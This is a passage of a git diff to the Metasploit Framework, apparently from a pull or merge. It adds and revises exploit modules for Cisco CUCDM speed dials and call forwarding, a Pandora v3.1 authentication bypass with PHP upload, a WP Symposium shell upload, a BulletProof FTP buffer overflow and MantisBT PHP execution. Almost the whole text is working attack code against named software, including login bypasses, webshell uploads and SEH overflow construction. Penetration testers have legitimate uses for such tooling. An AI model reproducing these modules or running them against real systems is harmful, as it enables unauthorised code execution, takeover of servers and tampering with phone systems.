+ 'device' => "SEP#{mac}",
+ 'ProviderName' => 'NULL',
+ 'fintnumber' => "#{fintnumber}",
+ 'telno1' => "#{forward_to}"
+ }
+ })
+
+ res = send_request_cgi(
+ {
+ 'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
+ 'method' => 'GET',
+ 'vars_get' => {
+ 'device' => "SEP#{mac}",
+ 'fintnumber' => "#{fintnumber}"
+ }
+ })
+
+ if res && res.body && res.body && res.body.to_s =~ /CFA/
+ print_good("#{peer} - Call forwarded successfully for #{fintnumber}")
+ else
+ print_status("#{peer} - Call forward failed.")
+ end
+ end
+ end
+
+end
diff --git a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb
new file mode 100644
index 0000000000..a3995a1992
--- /dev/null
+++ b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb
@@ -0,0 +1,205 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rexml/document'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool',
+ 'Description' => %q{
+ The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
+ (CDM), before version 10, doesn't implement access control properly, which allows remote
+ attackers to modify user information. This module exploits the vulnerability to make
+ unauthorized speeddial manipulations.
+ },
+ 'Author' => 'fozavci',
+ 'References' =>
+ [
+ ['CVE', '2014-3300'],
+ ['BID', '68331']
+ ],
+ 'License' => MSF_LICENSE,
+ 'Actions' =>
+ [
+ [ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ],
+ [ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ],
+ [ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ],
+ [ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ]
+ ],
+ 'DefaultAction' => 'List'
+ ))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
+ OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
+ OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']),
+ OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']),
+ OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']),
+ ], self.class)
+ end
+
+ def run
+
+ case action.name.upcase
+ when 'MODIFY'
+ modify
+ when 'DELETE'
+ delete
+ when 'ADD'
+ add
+ when 'LIST'
+ list
+ end
+
+ end
+
+ def send_rcv(uri, vars_get)
+ uri = normalize_uri(target_uri.to_s, uri.to_s)
+ res = send_request_cgi(
+ {
+ 'uri' => uri,
+ 'method' => 'GET',
+ 'vars_get' => vars_get
+ })
+
+ if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/
+ return Exploit::CheckCode::Vulnerable, res
+ else
+ print_error("#{peer} - Target appears not vulnerable!")
+ return Exploit::CheckCode::Safe, res
+ end
+ end
+
+ def parse(res)
+ doc = REXML::Document.new(res.body)
+ names = []
+ phones = []
+
+ list = doc.root.get_elements('DirectoryEntry')
+ list.each do |lst|
+ xlist = lst.get_elements('Name')
+ xlist.each {|l| names << "#{l[0]}"}
+ xlist = lst.get_elements('Telephone')
+ xlist.each {|l| phones << "#{l[0]}" }
+ end
+
+ if names.size > 0
+ names.size.times do |i|
+ info = ''
+ info << "Position: #{names[i].split(":")[0]}, "
+ info << "Name: #{names[i].split(":")[1]}, "
+ info << "Telephone: #{phones[i]}"
+
+ print_good("#{peer} - #{info}")
+ end
+ else
+ print_status("#{peer} - No Speed Dial detected")
+ end
+ end
+
+ def list
+ mac = datastore['MAC']
+
+ print_status("#{peer} - Getting Speed Dials of the IP phone")
+ vars_get = {
+ 'device' => "SEP#{mac}"
+ }
+
+ status, res = send_rcv('speeddials.cgi', vars_get)
+ parse(res) unless status == Exploit::CheckCode::Safe
+ end
+
+ def add
+ mac = datastore['MAC']
+ name = datastore['NAME']
+ position = datastore['POSITION']
+ telno = datastore['TELNO']
+
+ print_status("#{peer} - Adding Speed Dial to the IP phone")
+ vars_get = {
+ 'name' => "#{name}",
+ 'telno' => "#{telno}",
+ 'device' => "SEP#{mac}",
+ 'entry' => "#{position}",
+ 'mac' => "#{mac}"
+ }
+ status, res = send_rcv('phonespeedialadd.cgi', vars_get)
+
+ if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
+ print_good("#{peer} - Speed Dial #{position} is added successfully")
+ elsif res && res.body && res.body.to_s =~ /exist/
+ print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
+ else
+ print_error("#{peer} - Speed Dial couldn't add!")
+ end
+ end
+
+ def delete
+ mac = datastore['MAC']
+ position = datastore['POSITION']
+
+ print_status("#{peer} - Deleting Speed Dial of the IP phone")
+
+ vars_get = {
+ 'entry' => "#{position}",
+ 'device' => "SEP#{mac}"
+ }
+
+ status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
+
+ if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
+ print_good("#{peer} - Speed Dial #{position} is deleted successfully")
+ else
+ print_error("#{peer} - Speed Dial is not found!")
+ end
+ end
+
+ def modify
+ mac = datastore['MAC']
+ name = datastore['NAME']
+ position = datastore['POSITION']
+ telno = datastore['TELNO']
+
+ print_status("#{peer} - Deleting Speed Dial of the IP phone")
+
+ vars_get = {
+ 'entry' => "#{position}",
+ 'device' => "SEP#{mac}"
+ }
+
+ status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
+
+ if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
+ print_good("#{peer} - Speed Dial #{position} is deleted successfully")
+ print_status("#{peer} - Adding Speed Dial to the IP phone")
+
+ vars_get = {
+ 'name' => "#{name}",
+ 'telno' => "#{telno}",
+ 'device' => "SEP#{mac}",
+ 'entry' => "#{position}",
+ 'mac' => "#{mac}"
+ }
+
+ status, res = send_rcv('phonespeedialadd.cgi', vars_get)
+
+ if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
+ print_good("#{peer} - Speed Dial #{position} is added successfully")
+ elsif res && res.body =~ /exist/
+ print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
+ else
+ print_error("#{peer} - Speed Dial couldn't add!")
+ end
+ else
+ print_error("#{peer} - Speed Dial is not found!")
+ end
+ end
+end
diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
index c8c789f6f2..cd8e65dcb5 100644
--- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
+++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
@@ -105,18 +105,28 @@ class Metasploit3 < Msf::Exploit::Remote
sum = addend_one + addend_two
java = java_sum([addend_one, addend_two])
+
+ vprint_status("#{peer} attempting to execute '#{java}' in Java")
res = execute(java)
result = parse_result(res)
if result.nil?
+ vprint_status("#{peer} no response to executed Java")
return false
else
+ vprint_status("#{peer} response to executed Java: #{result}")
result.to_i == sum
end
end
def parse_result(res)
- unless res && res.code == 200 && res.body
+ unless res
+ vprint_error("#{peer} no response")
+ return nil
+ end
+
+ unless res.code == 200 && res.body
+ vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
return nil
end
@@ -127,20 +137,16 @@ class Metasploit3 < Msf::Exploit::Remote
end
begin
- result = json['hits']['hits'][0]['fields']['msf_result'][0]
+ result = json['hits']['hits'][0]['fields']['msf_result']
rescue
return nil
end
- result
+ result.is_a?(::Array) ? result.first : result
end
def java_sum(summands)
- source = <<-EOF
-#{summands.join(" + ")}
- EOF
-
- source
+ summands.join(' + ')
end
def to_java_byte_array(str)
diff --git a/modules/exploits/multi/http/mantisbt_php_exec.rb b/modules/exploits/multi/http/mantisbt_php_exec.rb
index 9f80e82316..48523cc5ef 100644
--- a/modules/exploits/multi/http/mantisbt_php_exec.rb
+++ b/modules/exploits/multi/http/mantisbt_php_exec.rb
@@ -9,6 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
+ include REXML
def initialize(info = {})
super(update_info(info,
@@ -17,16 +18,22 @@ class Metasploit3 < Msf::Exploit::Remote
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
+ This version also suffers from another issue. The import page is not checking the correct user level
+ of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Egidio Romano', # discovery http://karmainsecurity.com
'Juan Escobar ', # module development @itsecurityco
+ 'Christian Mehlmauer'
],
'References' =>
[
- ['CVE', '2014-7146']
+ ['CVE', '2014-7146'],
+ ['CVE', '2014-8598'],
+ ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'],
+ ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
@@ -42,49 +49,98 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class)
end
- def check
- res = exec_php('phpinfo(); die();', true)
+ def get_mantis_version
+ xml = Document.new
+ xml.add_element(
+ "soapenv:Envelope",
+ {
+ 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
+ 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
+ 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
+ 'xmlns:man' => "http://futureware.biz/mantisconnect"
+ })
+ xml.root.add_element("soapenv:Header")
+ xml.root.add_element("soapenv:Body")
+ body = xml.root.elements[2]
+ body.add_element("man:mc_version",
+ { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }
+ )
- if res && res.body =~ /This program makes use of the Zend/
- return Exploit::CheckCode::Vulnerable
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'),
+ 'ctype' => 'text/xml; charset=UTF-8',
+ 'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'},
+ 'data' => xml.to_s
+ })
+ if res && res.code == 200
+ match = res.body.match(/(.+)<\/return><\/ns1:mc_versionResponse>/)
+ if match && match.length == 2
+ version = match[1]
+ print_status("Detected Mantis version #{version}")
+ return version
+ end
+ end
+
+ print_status("Can not detect Mantis version")
+ return nil
+ end
+
+ def check
+ version = get_mantis_version
+
+ return Exploit::CheckCode::Unknown if version.nil?
+
+ gem_version = Gem::Version.new(version)
+ gem_version_introduced = Gem::Version.new('1.2.0a3')
+ gem_version_fixed = Gem::Version.new('1.2.18')
+
+ if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
+ return Msf::Exploit::CheckCode::Appears
else
- return Exploit::CheckCode::Unknown
+ return Msf::Exploit::CheckCode::Safe
end
end
def do_login()
- print_status('Checking access to MantisBT...')
+ # check for anonymous login
res = send_request_cgi({
'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'login_page.php'),
- 'vars_get' => {
- 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
- }
+ 'uri' => normalize_uri(target_uri.path, 'login_anon.php')
})
+ # if the redirect contains a username (non empty), anonymous access is enabled
+ if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/
+ print_status('Anonymous access enabled, no need to log in')
+ session_cookie = res.get_cookies
+ else
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'login_page.php'),
+ 'vars_get' => {
+ 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
+ }
+ })
+ session_cookie = res.get_cookies
+ print_status('Logging in...')
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'login.php'),
+ 'cookie' => session_cookie,
+ 'vars_post' => {
+ 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
+ 'username' => datastore['username'],
+ 'password' => datastore['password'],
+ 'secure_session' => 'on'
+ }
+ })
+ fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
- fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200
+ fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php')
- session_cookie = res.get_cookies
+ session_cookie = "#{session_cookie} #{res.get_cookies}"
+ end
- print_status('Logging in...')
- res = send_request_cgi({
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, 'login.php'),
- 'cookie' => session_cookie,
- 'vars_post' => {
- 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
- 'username' => datastore['username'],
- 'password' => datastore['password'],
- 'secure_session' => 'on'
- }
- })
-
-
- fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
-
- fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
-
- "#{session_cookie} #{res.get_cookies}"
+ session_cookie
end
def upload_xml(payload_b64, rand_text, cookies, is_check)
@@ -107,11 +163,16 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
- unless res && res.code == 200
+ unless res && res.code == 200 && res.body
print_error('Error trying to access XmlImportExport/import page...')
return false
end
+ if res.body.include?('Plugin is not registered with MantisBT')
+ print_error('XMLImportExport plugin is not installed')
+ return false
+ end
+
# Retrieving CSRF token
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
csrf_token = Regexp.last_match[1]
@@ -190,22 +251,37 @@ class Metasploit3 < Msf::Exploit::Remote
data_post = data.to_s
print_status('Sending payload...')
- return send_request_cgi({
+ res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
'data' => data_post
}, timeout)
+
+ if res && res.body && res.body.include?('APPLICATION ERROR')
+ print_error('Error on uploading XML')
+ return false
+ end
+
+ # request above will time out and return nil on success
+ return true
end
def exec_php(php_code, is_check = false)
+ print_status('Checking access to MantisBT...')
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path)
+ })
+
+ fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection)
# remove comments, line breaks and spaces of php_code
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
# clean b64 payload
- while Rex::Text.encode_base64(payload_clean) =~ /=/
+ while Rex::Text.encode_base64(payload_clean).include?('=')
payload_clean = "#{ payload_clean } "
end
payload_b64 = Rex::Text.encode_base64(payload_clean)
@@ -216,6 +292,8 @@ class Metasploit3 < Msf::Exploit::Remote
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
+ return unless res_payload
+
# When a meterpreter session is active, communication with the application is lost.
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
cookies = do_login()
@@ -283,6 +361,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
+ get_mantis_version
unless exec_php(payload.encoded)
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
end
diff --git a/modules/exploits/multi/http/pandora_upload_exec.rb b/modules/exploits/multi/http/pandora_upload_exec.rb
new file mode 100644
index 0000000000..e9266dd061
--- /dev/null
+++ b/modules/exploits/multi/http/pandora_upload_exec.rb
@@ -0,0 +1,166 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::FileDropper
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability",
+ 'Description' => %q{
+ This module exploits an authentication bypass vulnerability in Pandora v3.1 as
+ disclosed by Juan Galiana Lara. It also integrates with the built-in pandora
+ upload which allows a user to upload arbitrary files to the '/images/' directory.
+
+ This module was created as an exercise in the Metasploit Mastery Class at Blackhat
+ that was facilitated by egypt and mubix.
+
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Juan Galiana Lara', # Vulnerability discovery
+ 'Raymond Nunez ', # Metasploit module
+ 'Elizabeth Loyola ', # Metasploit module
+ 'Fr330wn4g3 ', # Metasploit module
+ '_flood ', # Metasploit module
+ 'mubix ', # Auth bypass and file upload
+ 'egypt ', # Auth bypass and file upload
+ ],
+ 'References' =>
+ [
+ ['CVE', '2010-4279'],
+ ['OSVDB', '69549'],
+ ['BID', '45112']
+ ],
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Targets' =>
+ [
+ ['Automatic Targeting', { 'auto' => true }]
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => "Nov 30 2010",
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']),
+ ], self.class)
+ end
+
+ def check
+
+ base = target_uri.path
+
+ # retrieve software version from login page
+ begin
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(base, 'index.php')
+ })
+ if res and res.code == 200
+ #Tested on v3.1 Build PC100609 and PC100608
+ if res.body.include?("v3.1 Build PC10060")
+ return Exploit::CheckCode::Appears
+ elsif res.body.include?("Pandora")
+ return Exploit::CheckCode::Detected
+ end
+ end
+ return Exploit::CheckCode::Safe
+ rescue ::Rex::ConnectionError
+ vprint_error("#{peer} - Connection failed")
+ end
+ return Exploit::CheckCode::Unknown
+
+ end
+
+ # upload a payload using the pandora built-in file upload
+ def upload(base, file, cookies)
+ data = Rex::MIME::Message.new
+ data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"")
+ data.add_part("Go", nil, nil, 'form-data; name="go"')
+ data.add_part("images", nil, nil, 'form-data; name="directory"')
+ data.add_part("1", nil, nil, 'form-data; name="upload_file"')
+ data_post = data.to_s
+ data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(base, 'index.php'),
+ 'cookie' => cookies,
+ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ 'vars_get' => {
+ 'sec' => 'gsetup',
+ 'sec2' => 'godmode/setup/file_manager',
+ },
+ 'data' => data_post
+ })
+
+ register_files_for_cleanup(@fname)
+ return res
+ end
+
+ def exploit
+
+ base = target_uri.path
+ @fname = "#{rand_text_numeric(7)}.php"
+ cookies = ""
+
+ # bypass authentication and get session cookie
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(base, 'index.php'),
+ 'vars_get' => {
+ 'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3',
+ 'loginhash_user' => 'admin',
+ 'loginhash' => '1',
+ },
+ })
+
+ # fix if logic
+ if res and res.code == 200
+ if res.body.include?("Logout")
+ cookies = res.get_cookies
+ print_status("Login Bypass Successful")
+ print_status("cookie monster = " + cookies)
+ else
+ fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed")
+ end
+ end
+
+ # upload PHP payload to images/[fname]
+ print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
+ php = %Q||
+ begin
+ res = upload(base, php, cookies)
+ rescue ::Rex::ConnectionError
+ fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
+ end
+
+ if res and res.code == 200
+ print_good("#{peer} - File uploaded successfully")
+ else
+ fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
+ end
+
+ # retrieve and execute PHP payload
+ print_status("#{peer} - Executing payload (images/#{@fname})")
+ begin
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(base, 'images', "#{@fname}")
+ }, 1)
+ rescue ::Rex::ConnectionError
+ fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
+ end
+
+ end
+end
diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb
index 406277cee2..c5c990354d 100644
--- a/modules/exploits/multi/http/rails_secret_deserialization.rb
+++ b/modules/exploits/multi/http/rails_secret_deserialization.rb
@@ -234,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => datastore['HTTP_METHOD'],
}, 25)
if res && !res.get_cookies.empty?
- match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
+ match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end
if match
diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb
index be74d9939e..c9afc417e0 100644
--- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb
+++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb
@@ -122,7 +122,7 @@ EOS
end
print_error("Encountered unexpected #{res.code} response:")
- print_error(res.inspect)
+ print_error(res.to_s)
return nil
end
diff --git a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb
new file mode 100644
index 0000000000..ea3c2a852e
--- /dev/null
+++ b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb
@@ -0,0 +1,99 @@
+##
+# This module requires Metasploit: http://www.metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::FileDropper
+ include Msf::HTTP::Wordpress
+
+ def initialize(info = {})
+ super(update_info(
+ info,
+ 'Name' => 'WordPress WP Symposium 14.11 Shell Upload',
+ 'Description' => %q{WP Symposium Plugin for WordPress contains a
+ flaw that allows a remote attacker to execute
+ arbitrary PHP code. This flaw exists because the
+ /wp-symposium/server/file_upload_form.php script
+ does not properly verify or sanitize
+ user-uploaded files. By uploading a .php file,
+ the remote system will place the file in a
+ user-accessible path. Making a direct request to
+ the uploaded file will allow the attacker to
+ execute the script with the privileges of the
+ web server.},
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Claudio Viviani', # Vulnerability disclosure
+ 'Rob Carr ' # Metasploit module
+ ],
+ 'References' =>
+ [
+ ['OSVDB', '116046'],
+ ['WPVDB', '7716']
+ ],
+ 'DisclosureDate' => 'Dec 11 2014',
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Targets' => [['wp-symposium < 14.12', {}]],
+ 'DefaultTarget' => 0
+ ))
+ end
+
+ def check
+ check_plugin_version_from_readme('wp-symposium', '14.12')
+ end
+
+ def generate_mime_message(payload, payload_name, directory_name, symposium_url)
+ data = Rex::MIME::Message.new
+ data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')
+ data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')
+ data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')
+ data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")
+ data
+ end
+
+ def exploit
+ print_status("#{peer} - Preparing payload")
+ unique_name = Rex::Text.rand_text_alpha(10)
+ payload_name = "#{unique_name}.php"
+ symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
+ payload_url = normalize_uri(symposium_url, unique_name, payload_name)
+ data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
+ symposium_url = normalize_uri(symposium_url, 'index.php')
+
+ print_status("#{peer} - Uploading payload to #{payload_url}")
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => symposium_url,
+ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ 'data' => data.to_s
+ )
+
+ if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
+ print_good("#{peer} - Uploaded the payload")
+ register_files_for_cleanup(payload_name)
+
+ print_status("#{peer} - Executing the payload...")
+ send_request_cgi(
+ {
+ 'uri' => payload_url,
+ 'method' => 'GET'
+ }, 5)
+ print_good("#{peer} - Executed payload")
+ else
+ if res.nil?
+ fail_with(Failure::Unreachable, "No response from the target")
+ else
+ vprint_error("#{peer} - HTTP Status: #{res.code}")
+ vprint_error("#{peer} - Server returned: #{res.body}")
+ fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
+ end
+ end
+ end
+end
diff --git a/modules/exploits/windows/fileformat/adobe_geticon.rb b/modules/exploits/windows/fileformat/adobe_geticon.rb
index 1fab2822f9..d67d68d24f 100644
--- a/modules/exploits/windows/fileformat/adobe_geticon.rb
+++ b/modules/exploits/windows/fileformat/adobe_geticon.rb
@@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Create the pdf
#pdf = make_pdf(script)
- pdf = CreatePDF(script)
+ pdf = create_pdf(script)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb
new file mode 100644
index 0000000000..7f7b6d6322
--- /dev/null
+++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb
@@ -0,0 +1,91 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::FILEFORMAT
+ include Msf::Exploit::Remote::Seh
+ include Msf::Exploit::Remote::Egghunter
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'BulletProof FTP Client BPS Buffer Overflow',
+ 'Description' => %q{
+ This module exploits a stack-based buffer overflow vulnerability in
+ BulletProof FTP Client 2010, caused by an overly long hostname.
+ By persuading the victim to open a specially-crafted .BPS file, a
+ remote attacker could execute arbitrary code on the system or cause
+ the application to crash. This module has been tested successfully on
+ Windows XP SP3.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Gabor Seljan'
+ ],
+ 'References' =>
+ [
+ [ 'EDB', '34162' ],
+ [ 'EDB', '34540' ],
+ [ 'EDB', '35449' ],
+ [ 'OSVDB', '109547' ],
+ [ 'CVE', '2014-2973' ],
+ ],
+ 'DefaultOptions' =>
+ {
+ 'ExitFunction' => 'process'
+ },
+ 'Platform' => 'win',
+ 'Payload' =>
+ {
+ 'BadChars' => "\x00\x0a\x0d\x1a",
+ 'Space' => 2000
+ },
+ 'Targets' =>
+ [
+ [ 'Windows XP SP3',
+ {
+ 'Offset' => 89,
+ 'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]
+ }
+ ]
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Jul 24 2014',
+ 'DefaultTarget' => 0
+ ))
+
+ register_options(
+ [
+ OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
+ ],
+ self.class)
+ end
+
+ def exploit
+ eggoptions = {
+ :checksum => true,
+ :eggtag => 'w00t'
+ }
+
+ hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
+
+ sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
+ sploit << rand_text_alpha(target['Offset'])
+ sploit << generate_seh_record(target.ret)
+ sploit << hunter + "\r\n" # FTP Server HOST / IP
+ sploit << rand_text_numeric(5) + "\r\n" # Port number
+ sploit << egg + "\r\n" # Login name
+ sploit << rand_text_alpha(8) + "\r\n" # Login password
+
+ # Create the file
+ print_status("Creating '#{datastore['FILENAME']}' file...")
+ file_create(sploit)
+ end
+
+end
diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb
index 7a9182a930..c7ef5b6ee7 100644
--- a/modules/exploits/windows/http/easyftp_list.rb
+++ b/modules/exploits/windows/http/easyftp_list.rb
@@ -116,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (res)
print_error("The server unexpectedly responded, this is not good.")
- print_status(res.inspect)
+ print_status(res.to_s)
end
handler
diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
index c2bba6c577..d603e75f8b 100644
--- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
@@ -237,7 +237,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_line()
- print_error(res.inspect)
+ print_error(res.to_s)
end
end
diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb
index 2ad63defc5..a994632a33 100644
--- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb
@@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502
